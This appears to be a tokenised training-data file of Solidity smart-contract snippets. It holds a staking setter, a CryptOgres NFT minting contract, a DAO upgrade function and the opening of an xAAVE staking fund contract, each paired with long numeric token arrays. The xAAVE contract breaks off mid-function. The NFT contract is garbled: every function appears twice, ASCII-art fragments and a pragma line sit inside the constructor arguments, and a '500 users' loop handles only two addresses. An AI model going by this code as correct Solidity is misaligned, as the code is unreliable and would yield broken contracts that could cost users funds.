[ 1, 9890, 4869, 15650, 1013, 7412, 445, 16, 2537, 316, 648, 309, 13885, 555, 14119, 2845, 358, 486, 1240, 7304, 4869, 15650, 1013, 87, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 1162, 3682, 287, 5912, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 2713, 288, 203, 3639, 2254, 5034, 389, 280, 3682, 287, 13937, 273, 17656, 287, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 309, 261, 67, 280, 3682, 287, 13937, 405, 374, 13, 288, 203, 5411, 309, 261, 67, 8949, 405, 389, 280, 3682, 287, 13937, 13, 288, 203, 7734, 17656, 287, 18, 4626, 5912, 24899, 869, 16, 389, 280, 3682, 287, 13937, 1769, 203, 7734, 17656, 287, 18, 4626, 5912, 24899, 869, 16, 389, 8949, 1769, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x5646077E2779a4e8607A99257bD76F627A262d86/sources/contracts/Staking.sol
* @notice set warmup period in epoch's numbers for new stakers @param _warmupPeriod uint/
function setWarmup(uint256 _warmupPeriod) external onlyManager { warmupPeriod = _warmupPeriod; }
3,136,468
[ 1, 542, 22975, 416, 3879, 316, 7632, 1807, 5600, 364, 394, 384, 581, 414, 225, 389, 13113, 416, 5027, 2254, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 59, 4610, 416, 12, 11890, 5034, 389, 13113, 416, 5027, 13, 3903, 1338, 1318, 288, 203, 3639, 22975, 416, 5027, 273, 389, 13113, 416, 5027, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x04142941F585B6625D5fE7da0ca62351aF8C5f8E/sources/CryptOgres.sol
uint256 public presaleStart = 1645639200;uint256 public publicStart = 1645725600;
contract CryptOgresNFT is ERC721, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.001 ether; uint256 public presaleStart = 1645225368; uint256 public publicStart = 1650319368; uint256 public maxPresaleSupply = 700; uint256 public maxSupply = 4444; uint256 public maxPresaleMintAmount = 3; uint256 public maxMintAmount = 20; uint16 public totalSupply = 0; mapping(address => bool) public presaleWallets; constructor( string memory _name, string memory _symbol, string memory _initBaseURI @&***@ #***********************@ #*************#************# pragma solidity ^0.8.7; ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); mintAdmin(msg.sender, 1); } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function mintPresale(address _to, uint16 _mintAmount) public payable { require(presaleWallets[msg.sender] == true, "You are not on the presale whitelist."); require(presaleStart <= block.timestamp && publicStart >= block.timestamp); require(_mintAmount > 0); require(_mintAmount <= maxPresaleMintAmount, "You can only mint 3 in presale."); require(totalSupply + _mintAmount <= maxPresaleSupply, "Purchase would exceed max presale tokens."); require(msg.value >= cost * _mintAmount, "Ether value sent is not correct."); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, totalSupply + i); } totalSupply += _mintAmount; } function mintPresale(address _to, uint16 _mintAmount) public payable { require(presaleWallets[msg.sender] == true, "You are not on the presale whitelist."); require(presaleStart <= block.timestamp && publicStart >= block.timestamp); require(_mintAmount > 0); require(_mintAmount <= maxPresaleMintAmount, "You can only mint 3 in presale."); require(totalSupply + _mintAmount <= maxPresaleSupply, "Purchase would exceed max presale tokens."); require(msg.value >= cost * _mintAmount, "Ether value sent is not correct."); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, totalSupply + i); } totalSupply += _mintAmount; } function mintPublic(address _to, uint16 _mintAmount) public payable { require(_mintAmount > 0); require (publicStart <= block.timestamp); require(_mintAmount <= maxMintAmount, "You can only mint 20 per transaction."); require(totalSupply + _mintAmount <= maxSupply, "Purchase would exceed max tokens."); require(msg.value >= cost * _mintAmount, "Ether value sent is not correct."); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, totalSupply + i); } totalSupply += _mintAmount; } function mintPublic(address _to, uint16 _mintAmount) public payable { require(_mintAmount > 0); require (publicStart <= block.timestamp); require(_mintAmount <= maxMintAmount, "You can only mint 20 per transaction."); require(totalSupply + _mintAmount <= maxSupply, "Purchase would exceed max tokens."); require(msg.value >= cost * _mintAmount, "Ether value sent is not correct."); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, totalSupply + i); } totalSupply += _mintAmount; } function mintAdmin(address _to, uint16 _mintAmount) public payable { require(_mintAmount > 0); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, totalSupply + i); } totalSupply += _mintAmount; } function mintAdmin(address _to, uint16 _mintAmount) public payable { require(_mintAmount > 0); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, totalSupply + i); } totalSupply += _mintAmount; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } function totalSupplyCount() public view returns (uint16) { return totalSupply; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function addPresaleUser(address _user) public onlyOwner { presaleWallets[_user] = true; } function add500PresaleUsers(address[500] memory _users) public onlyOwner { for (uint256 i = 0; i < 2; i++) { presaleWallets[_users[i]] = true; } } function add500PresaleUsers(address[500] memory _users) public onlyOwner { for (uint256 i = 0; i < 2; i++) { presaleWallets[_users[i]] = true; } } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } }
798,022
[ 1, 11890, 5034, 1071, 4075, 5349, 1685, 273, 404, 1105, 4313, 5520, 6976, 31, 11890, 5034, 1071, 1071, 1685, 273, 404, 1105, 10321, 5034, 713, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 22752, 51, 14107, 50, 4464, 353, 4232, 39, 27, 5340, 16, 14223, 6914, 288, 203, 565, 1450, 8139, 364, 2254, 5034, 31, 203, 203, 565, 533, 1071, 1026, 3098, 31, 203, 565, 533, 1071, 1026, 3625, 273, 3552, 1977, 14432, 203, 565, 2254, 5034, 1071, 6991, 273, 374, 18, 11664, 225, 2437, 31, 203, 565, 2254, 5034, 1071, 4075, 5349, 1685, 273, 404, 1105, 9401, 2947, 5718, 28, 31, 203, 565, 2254, 5034, 1071, 1071, 1685, 273, 2872, 3361, 23, 3657, 5718, 28, 31, 203, 565, 2254, 5034, 1071, 943, 12236, 5349, 3088, 1283, 273, 2371, 713, 31, 203, 565, 2254, 5034, 1071, 943, 3088, 1283, 273, 1059, 6334, 24, 31, 203, 565, 2254, 5034, 1071, 943, 12236, 5349, 49, 474, 6275, 273, 890, 31, 203, 565, 2254, 5034, 1071, 943, 49, 474, 6275, 273, 4200, 31, 203, 565, 2254, 2313, 1071, 2078, 3088, 1283, 273, 374, 31, 203, 377, 203, 565, 2874, 12, 2867, 516, 1426, 13, 1071, 4075, 5349, 26558, 2413, 31, 203, 203, 203, 203, 565, 3885, 12, 203, 3639, 533, 3778, 389, 529, 16, 203, 3639, 533, 3778, 389, 7175, 16, 203, 3639, 533, 3778, 389, 2738, 2171, 3098, 203, 19694, 632, 10, 14465, 36, 4766, 1377, 203, 18701, 468, 2751, 27243, 36, 18701, 203, 12900, 468, 1644, 23490, 7, 1644, 1007, 7, 21821, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 27, 31, 203, 565, 262, 4232, 39, 27, 5340, 24899, 529, 16, 389, 7175, 13, 288, 203, 3639, 26435, 3098, 24899, 2738, 2171, 3098, 1769, 2 ]
./partial_match/1/0xce193aBd0efE33214bc2e1Ce96984797FB701bFD/sources/contracts/core/project/Project.sol
Now it does not belong to any dao. A new dao!
function upgradeToDAO(uint256 id, CloneParams memory params) public onlyOwnerOf(id) { require(_dao[id].vision == address(0), "Already upgraded."); _deploy(id); _initialize(id, params); _daoAddressBook[_getGovAddressOfDAO(id)] = id; _daoProjects[_belongsTo.get(id, "owner query for nonexistent token")] .remove(id); _belongsTo.remove(id); _nameOf[id] = params.projectName; _symbolOf[id] = params.projectSymbol; emit DAOLaunched(id); _allDAOs.push(id); }
4,482,441
[ 1, 8674, 518, 1552, 486, 10957, 358, 1281, 15229, 18, 432, 394, 15229, 5, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8400, 774, 18485, 12, 11890, 5034, 612, 16, 12758, 1370, 3778, 859, 13, 203, 3639, 1071, 203, 3639, 1338, 5541, 951, 12, 350, 13, 203, 565, 288, 203, 3639, 2583, 24899, 2414, 83, 63, 350, 8009, 2820, 422, 1758, 12, 20, 3631, 315, 9430, 31049, 1199, 1769, 203, 3639, 389, 12411, 12, 350, 1769, 203, 3639, 389, 11160, 12, 350, 16, 859, 1769, 203, 3639, 389, 2414, 83, 31374, 63, 67, 588, 43, 1527, 1887, 951, 18485, 12, 350, 25887, 273, 612, 31, 203, 3639, 389, 2414, 83, 15298, 63, 67, 13285, 27192, 18, 588, 12, 350, 16, 315, 8443, 843, 364, 1661, 19041, 1147, 7923, 65, 203, 5411, 263, 4479, 12, 350, 1769, 203, 3639, 389, 13285, 27192, 18, 4479, 12, 350, 1769, 203, 3639, 389, 529, 951, 63, 350, 65, 273, 859, 18, 4406, 461, 31, 203, 3639, 389, 7175, 951, 63, 350, 65, 273, 859, 18, 4406, 5335, 31, 203, 3639, 3626, 463, 37, 1741, 69, 22573, 12, 350, 1769, 203, 3639, 389, 454, 9793, 15112, 18, 6206, 12, 350, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.2; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol"; import { OwnableUpgradeSafe as Ownable } from "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import { ERC20UpgradeSafe as ERC20 } from "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol"; import "./helpers/Pausable.sol"; import "./interface/IxTokenManager.sol"; import './interface/IDelegateRegistry.sol'; interface IAaveProtoGovernance { function submitVoteByVoter( uint256 _proposalId, uint256 _vote, IERC20 _asset ) external; } interface IKyberNetworkProxy { function swapEtherToToken(ERC20 token, uint256 minConversionRate) external payable returns (uint256); function swapTokenToToken( ERC20 src, uint256 srcAmount, ERC20 dest, uint256 minConversionRate ) external returns (uint256); function swapTokenToEther( ERC20 token, uint256 tokenQty, uint256 minRate ) external payable returns (uint256); } interface IStakedAave { function stake(address to, uint256 amount) external; function redeem(address to, uint256 amount) external; function cooldown() external; function claimRewards(address to, uint256 amount) external; } interface IAaveGovernanceV2 { function submitVote(uint256 proposalId, bool support) external; } contract xAAVE is ERC20, Pausable, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; uint256 private constant DEC_18 = 1e18; uint256 private constant MAX_UINT = 2**256 - 1; uint256 private constant AAVE_BUFFER_TARGET = 20; // 5% target uint256 private constant INITIAL_SUPPLY_MULTIPLIER = 100; uint256 public constant LIQUIDATION_TIME_PERIOD = 4 weeks; uint256 public withdrawableAaveFees; uint256 public adminActiveTimestamp; address private manager; IERC20 private aave; IERC20 private votingAave; IStakedAave private stakedAave; IAaveProtoGovernance private governance; IKyberNetworkProxy private kyberProxy; bool public cooldownActivated; string public mandate; struct FeeDivisors { uint256 mintFee; uint256 burnFee; uint256 claimFee; } FeeDivisors public feeDivisors; IAaveGovernanceV2 private governanceV2; address private manager2; mapping(address => bool) private whitelist; uint256 private constant AFFILIATE_FEE_DIVISOR = 4; // addresses are locked from transfer after minting or burning uint256 private constant BLOCK_LOCK_COUNT = 6; // last block for which this address is timelocked mapping(address => uint256) public lastLockedBlock; IxTokenManager private xTokenManager; function initialize( IERC20 _aave, IERC20 _votingAave, IStakedAave _stakedAave, IAaveProtoGovernance _governance, IKyberNetworkProxy _kyberProxy, uint256 _mintFeeDivisor, uint256 _burnFeeDivisor, uint256 _claimFeeDivisor, string memory _symbol, string memory _mandate ) public initializer { __Ownable_init(); __ERC20_init("xAAVE", _symbol); aave = _aave; votingAave = _votingAave; stakedAave = _stakedAave; governance = _governance; kyberProxy = _kyberProxy; mandate = _mandate; _setFeeDivisors(_mintFeeDivisor, _burnFeeDivisor, _claimFeeDivisor); _updateAdminActiveTimestamp(); } /* ========================================================================================= */ /* Investor-Facing */ /* ========================================================================================= */ /* * @dev Mint xAAVE using ETH * @param minRate: Kyber min rate ETH=>AAVE */ function mint(uint256 minRate) public payable whenNotPaused notLocked(msg.sender) { require(msg.value > 0, "Must send ETH"); lock(msg.sender); (uint256 stakedBalance, uint256 bufferBalance) = getFundBalances(); uint256 fee = _calculateFee(msg.value, feeDivisors.mintFee); uint256 incrementalAave = kyberProxy.swapEtherToToken.value( msg.value.sub(fee) )(ERC20(address(aave)), minRate); return _mintInternal(bufferBalance, stakedBalance, incrementalAave); } /* * @dev Mint xAAVE using AAVE * @dev Overloaded function for xAsset Interface compatibility * @notice Must run ERC20 approval first * @param aaveAmount: AAVE to contribute */ function mintWithToken(uint256 aaveAmount) public { mintWithToken(aaveAmount, address(0)); } /* * @dev Mint xAAVE using AAVE * @notice Must run ERC20 approval first * @param aaveAmount: AAVE to contribute * @param affiliate: optional recipient of 25% of fees */ function mintWithToken(uint256 aaveAmount, address affiliate) public whenNotPaused notLocked(msg.sender) { require(aaveAmount > 0, "Must send AAVE"); lock(msg.sender); (uint256 stakedBalance, uint256 bufferBalance) = getFundBalances(); aave.safeTransferFrom(msg.sender, address(this), aaveAmount); uint256 fee = _calculateFee(aaveAmount, feeDivisors.mintFee); if (affiliate == address(0)) { _incrementWithdrawableAaveFees(fee); } else { require(whitelist[affiliate], "Invalid address"); uint256 affiliateFee = fee.div(AFFILIATE_FEE_DIVISOR); aave.safeTransfer(affiliate, affiliateFee); _incrementWithdrawableAaveFees(fee.sub(affiliateFee)); } uint256 incrementalAave = aaveAmount.sub(fee); return _mintInternal(bufferBalance, stakedBalance, incrementalAave); } function _mintInternal( uint256 _bufferBalance, uint256 _stakedBalance, uint256 _incrementalAave ) internal { uint256 totalSupply = totalSupply(); uint256 allocationToStake = _calculateAllocationToStake( _bufferBalance, _incrementalAave, _stakedBalance, totalSupply ); _stake(allocationToStake); uint256 aaveHoldings = _bufferBalance.add(_stakedBalance); uint256 mintAmount = calculateMintAmount( _incrementalAave, aaveHoldings, totalSupply ); return super._mint(msg.sender, mintAmount); } /* * @dev Burn xAAVE tokens * @notice Will fail if redemption value exceeds available liquidity * @param redeemAmount: xAAVE to redeem * @param redeemForEth: if true, redeem xAAVE for ETH * @param minRate: Kyber.getExpectedRate AAVE=>ETH if redeemForEth true (no-op if false) */ function burn( uint256 tokenAmount, bool redeemForEth, uint256 minRate ) public notLocked(msg.sender) { require(tokenAmount > 0, "Must send xAAVE"); lock(msg.sender); (uint256 stakedBalance, uint256 bufferBalance) = getFundBalances(); uint256 aaveHoldings = bufferBalance.add(stakedBalance); uint256 proRataAave = aaveHoldings.mul(tokenAmount).div(totalSupply()); require(proRataAave <= bufferBalance, "Insufficient exit liquidity"); super._burn(msg.sender, tokenAmount); if (redeemForEth) { uint256 ethRedemptionValue = kyberProxy.swapTokenToEther( ERC20(address(aave)), proRataAave, minRate ); uint256 fee = _calculateFee( ethRedemptionValue, feeDivisors.burnFee ); (bool success, ) = msg.sender.call.value( ethRedemptionValue.sub(fee) )(""); require(success, "Transfer failed"); } else { uint256 fee = _calculateFee(proRataAave, feeDivisors.burnFee); _incrementWithdrawableAaveFees(fee); aave.safeTransfer(msg.sender, proRataAave.sub(fee)); } } function transfer(address recipient, uint256 amount) public override notLocked(msg.sender) returns (bool) { return super.transfer(recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) public override notLocked(sender) returns (bool) { return super.transferFrom(sender, recipient, amount); } /* ========================================================================================= */ /* NAV */ /* ========================================================================================= */ function getAmountOfAssetHeld() public view returns (uint256) { return getFundHoldings(); } function getFundHoldings() public view returns (uint256) { return getStakedBalance().add(getBufferBalance()); } function getStakedBalance() public view returns (uint256) { return IERC20(address(stakedAave)).balanceOf(address(this)); } function getBufferBalance() public view returns (uint256) { return aave.balanceOf(address(this)).sub(withdrawableAaveFees); } function getFundBalances() public view returns (uint256, uint256) { return (getStakedBalance(), getBufferBalance()); } function getWithdrawableFees() public view returns (address[2] memory feeAssets, uint256[2] memory feeAmounts) { feeAssets[0] = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH feeAssets[1] = address(aave); feeAmounts[0] = address(this).balance; feeAmounts[1] = withdrawableAaveFees; } /* * @dev Helper function for mint, mintWithToken * @param incrementalAave: AAVE contributed * @param aaveHoldingsBefore: xAAVE buffer reserve + staked balance * @param totalSupply: xAAVE.totalSupply() */ function calculateMintAmount( uint256 incrementalAave, uint256 aaveHoldingsBefore, uint256 totalSupply ) public view returns (uint256 mintAmount) { if (totalSupply == 0) return incrementalAave.mul(INITIAL_SUPPLY_MULTIPLIER); mintAmount = (incrementalAave).mul(totalSupply).div(aaveHoldingsBefore); } /* * @dev Helper function for mint, mintWithToken * @param _bufferBalanceBefore: xAAVE AAVE buffer balance pre-mint * @param _incrementalAave: AAVE contributed * @param _stakedBalance: xAAVE stakedAave balance pre-mint * @param _totalSupply: xAAVE.totalSupply() */ function _calculateAllocationToStake( uint256 _bufferBalanceBefore, uint256 _incrementalAave, uint256 _stakedBalance, uint256 _totalSupply ) internal view returns (uint256) { if (_totalSupply == 0) return _incrementalAave.sub(_incrementalAave.div(AAVE_BUFFER_TARGET)); uint256 bufferBalanceAfter = _bufferBalanceBefore.add(_incrementalAave); uint256 aaveHoldings = bufferBalanceAfter.add(_stakedBalance); uint256 targetBufferBalance = aaveHoldings.div(AAVE_BUFFER_TARGET); // allocate full incremental aave to buffer balance if (bufferBalanceAfter < targetBufferBalance) return 0; return bufferBalanceAfter.sub(targetBufferBalance); } /* ========================================================================================= */ /* Fund Management - Admin */ /* ========================================================================================= */ /* * @notice xAAVE only stakes when cooldown is not active * @param _amount: allocation to staked balance */ function _stake(uint256 _amount) private { if (_amount > 0 && !cooldownActivated) { stakedAave.stake(address(this), _amount); } } /* * @notice Admin-callable function in case of persistent depletion of buffer reserve * or emergency shutdown * @notice Incremental AAVE will only be allocated to buffer reserve */ function cooldown() public onlyOwnerOrManager { _updateAdminActiveTimestamp(); _cooldown(); } /* * @notice Admin-callable function disabling cooldown and returning fund to * normal course of management */ function disableCooldown() public onlyOwnerOrManager { _updateAdminActiveTimestamp(); cooldownActivated = false; } /* * @notice Admin-callable function available once cooldown has been activated * and requisite time elapsed * @notice Called when buffer reserve is persistently insufficient to satisfy * redemption requirements * @param amount: AAVE to unstake */ function redeem(uint256 amount) public onlyOwnerOrManager { _updateAdminActiveTimestamp(); _redeem(amount); } /* * @notice Admin-callable function claiming staking rewards * @notice Called regularly on behalf of pool in normal course of management */ function claim() public onlyOwnerOrManager { _updateAdminActiveTimestamp(); _claim(); } /* * @notice Records admin activity * @notice Because Aave staking "locks" capital in contract and only admin has power * to cooldown and redeem in normal course, this function certifies that admin * is still active and capital is accessible * @notice If not certified for a period exceeding LIQUIDATION_TIME_PERIOD, * emergencyCooldown and emergencyRedeem become available to non-admin caller */ function _updateAdminActiveTimestamp() private { adminActiveTimestamp = block.timestamp; } /* * @notice Function for participating in Aave Governance * @notice Called regularly on behalf of pool in normal course of management * @param _proposalId: * @param _vote: */ function vote(uint256 _proposalId, uint256 _vote) public onlyOwnerOrManager { governance.submitVoteByVoter(_proposalId, _vote, votingAave); } /* * @notice Callable in case of fee revenue or extra yield opportunities in non-AAVE ERC20s * @notice Reinvested in AAVE * @param tokens: Addresses of non-AAVE tokens with balance in xAAVE * @param minReturns: Kyber.getExpectedRate for non-AAVE tokens */ function convertTokensToTarget( address[] calldata tokens, uint256[] calldata minReturns ) external onlyOwnerOrManager { for (uint256 i = 0; i < tokens.length; i++) { uint256 tokenBal = IERC20(tokens[i]).balanceOf(address(this)); uint256 bufferBalancerBefore = getBufferBalance(); kyberProxy.swapTokenToToken( 